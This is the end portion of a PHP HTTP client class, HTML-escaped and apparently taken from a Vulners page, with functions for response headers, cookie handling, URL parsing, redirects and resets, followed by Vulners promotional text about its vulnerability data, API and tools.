			if(!preg_match(&quot;/^(\S*):/&quot;,$content[$i]))&nbsp;$ok&nbsp;=&nbsp;1;
			if($ok)&nbsp;$onlycode&nbsp;.=&nbsp;$content[$i].&quot;\n&quot;;
		}
		return&nbsp;$onlycode;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;headers&nbsp;of&nbsp;the&nbsp;server&nbsp;response
	&nbsp;*&nbsp;without&nbsp;the&nbsp;content.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;getheader($this-&gt;post(&quot;http://localhost/x.php&quot;,&quot;x=1&amp;z=2&quot;));
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;getheader();
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*&nbsp;@return&nbsp;$onlytheheaders
	&nbsp;*/
	public&nbsp;function&nbsp;getheader($code='')
	{
		if(empty($code))&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;
		$header&nbsp;=&nbsp;explode(&quot;\n&quot;,$code);
		$onlyheader&nbsp;=&nbsp;$header[0].&quot;\n&quot;;
		for($i=1;$i&lt;count($header);$i++)
		{
			if(!preg_match(&quot;/^(\S*):/&quot;,$header[$i]))&nbsp;break;
			$onlyheader&nbsp;.=&nbsp;$header[$i].&quot;\n&quot;;
		}
		return&nbsp;$onlyheader;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;cookiejar()&nbsp;function.
	&nbsp;*&nbsp;It&nbsp;adds&nbsp;the&nbsp;value&nbsp;of&nbsp;the&nbsp;&quot;Set-Cookie&quot;&nbsp;header&nbsp;in&nbsp;the&nbsp;&quot;Cookie&quot;
	&nbsp;*&nbsp;header&nbsp;for&nbsp;the&nbsp;next&nbsp;request.&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*/
	private&nbsp;function&nbsp;getcookie($code)
	{
		$carr&nbsp;=&nbsp;explode(&quot;\n&quot;,str_replace(&quot;\r\n&quot;,&quot;\n&quot;,$code));
		for($z=0;$z&lt;count($carr);$z++)
		{
			if(preg_match(&quot;/set-cookie:&nbsp;(.*)/i&quot;,$carr[$z],$cookarr))
			{
				$cookie[]&nbsp;=&nbsp;preg_replace(&quot;/expires=(.*)(GMT||UTC)(\S*)$/i&quot;,&quot;&quot;,preg_replace(&quot;/path=(.*)/i&quot;,&quot;&quot;,$cookarr[1]));
			}
		}

		for($i=0;$i&lt;count($cookie);$i++)
		{
			preg_match(&quot;/(\S*)=(\S*);/&quot;,$cookie[$i],$matches);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookn&nbsp;=&nbsp;$matches[1];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$cookv&nbsp;=&nbsp;$matches[2];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;addcookie($cookn,$cookv);
		}
&nbsp;&nbsp;&nbsp;&nbsp;}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it.
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urltarg
	&nbsp;*/
	private&nbsp;function&nbsp;target($urltarg)
	{
		if(!preg_match(&quot;/^http:\/\/(.*)\//&quot;,$urltarg))&nbsp;$urltarg&nbsp;.=&nbsp;&quot;/&quot;;
		$this-&gt;url=$urltarg;
		
		$array&nbsp;=&nbsp;explode(&quot;/&quot;,str_replace(&quot;http://&quot;,&quot;&quot;,preg_replace(&quot;/:(\d+)/&quot;,&quot;&quot;,$urltarg)));
		$this-&gt;host=$array[0];

		preg_match(&quot;/:(\d+)\//&quot;,$urltarg,$matches);
		$this-&gt;port=empty($matches[1])&nbsp;?&nbsp;80&nbsp;:&nbsp;$matches[1];
		
		$temp&nbsp;=&nbsp;str_replace(&quot;http://&quot;,&quot;&quot;,preg_replace(&quot;/:(\d+)/&quot;,&quot;&quot;,$urltarg));
		preg_match(&quot;/\/(.*)\//&quot;,$temp,$matches);
		$this-&gt;path=str_replace(&quot;//&quot;,&quot;/&quot;,&quot;/&quot;.$matches[1].&quot;/&quot;);
	
		if($this-&gt;port&nbsp;&gt;&nbsp;65535)&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	
	
	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will
	&nbsp;*&nbsp;extract&nbsp;all&nbsp;&quot;Set-Cookie&quot;&nbsp;headers&nbsp;values
	&nbsp;*&nbsp;and&nbsp;it&nbsp;will&nbsp;automatically&nbsp;add&nbsp;them&nbsp;into&nbsp;the&nbsp;&quot;Cookie&quot;&nbsp;header
	&nbsp;*&nbsp;for&nbsp;all&nbsp;next&nbsp;requests.
	&nbsp;*
	&nbsp;*&nbsp;$this-&gt;cookiejar(1);&nbsp;//&nbsp;enabled
	&nbsp;*&nbsp;$this-&gt;cookiejar(0);&nbsp;//&nbsp;disabled
	&nbsp;*&nbsp;
	&nbsp;*/
	public&nbsp;function&nbsp;cookiejar($code)
	{
		if($code===0)&nbsp;$this-&gt;cookiejar='';
		if($code===1)&nbsp;$this-&gt;cookiejar=1;
		else
		{
			$this-&gt;getcookie($code);
		}
	}


	/**
	&nbsp;*&nbsp;If&nbsp;you&nbsp;call&nbsp;this&nbsp;function,&nbsp;the&nbsp;script&nbsp;will
	&nbsp;*&nbsp;follow&nbsp;all&nbsp;redirections&nbsp;sent&nbsp;by&nbsp;the&nbsp;server.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;allowredirection(1);&nbsp;//&nbsp;enabled
	&nbsp;*&nbsp;$this-&gt;allowredirection(0);&nbsp;//&nbsp;disabled
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@return&nbsp;$this-&gt;get($locationresponse)
	&nbsp;*/
	public&nbsp;function&nbsp;allowredirection($code)
	{
		if($code===0)&nbsp;$this-&gt;allowredirection='';
		if($code===1)&nbsp;$this-&gt;allowredirection=1;
		else
		{
			if(preg_match(&quot;/(location|content-location|uri):&nbsp;(.*)/i&quot;,$code,$codearr))
			{
				$location&nbsp;=&nbsp;str_replace(chr(13),'',$codearr[2]);
				if(!eregi(&quot;://&quot;,$location))
				{
					return&nbsp;$this-&gt;get(&quot;http://&quot;.$this-&gt;host.$this-&gt;path.$location);
				}
				else
				{
					return&nbsp;$this-&gt;get($location);
				}
			}
			else
			{
				return&nbsp;$code;
			}
		}
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;reset&nbsp;some&nbsp;parameters:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;reset(header);&nbsp;//&nbsp;headers&nbsp;cleaned
	&nbsp;*&nbsp;$this-&gt;reset(cookie);&nbsp;//&nbsp;cookies&nbsp;cleaned
	&nbsp;*&nbsp;$this-&gt;reset();&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//&nbsp;clean&nbsp;all&nbsp;parameters
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$func
	&nbsp;*/
	public&nbsp;function&nbsp;reset($func='')
	{
		switch($func)
		{
			case&nbsp;&quot;header&quot;:
			$this-&gt;header='';
			break;
			
			case&nbsp;&quot;cookie&quot;:
			$this-&gt;cookie='';
			break;
			
			default:
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;cookiejar='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;header='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;cookie='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;allowredirection='';&nbsp;
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;$this-&gt;agent='';
		&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;
		}
	}
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation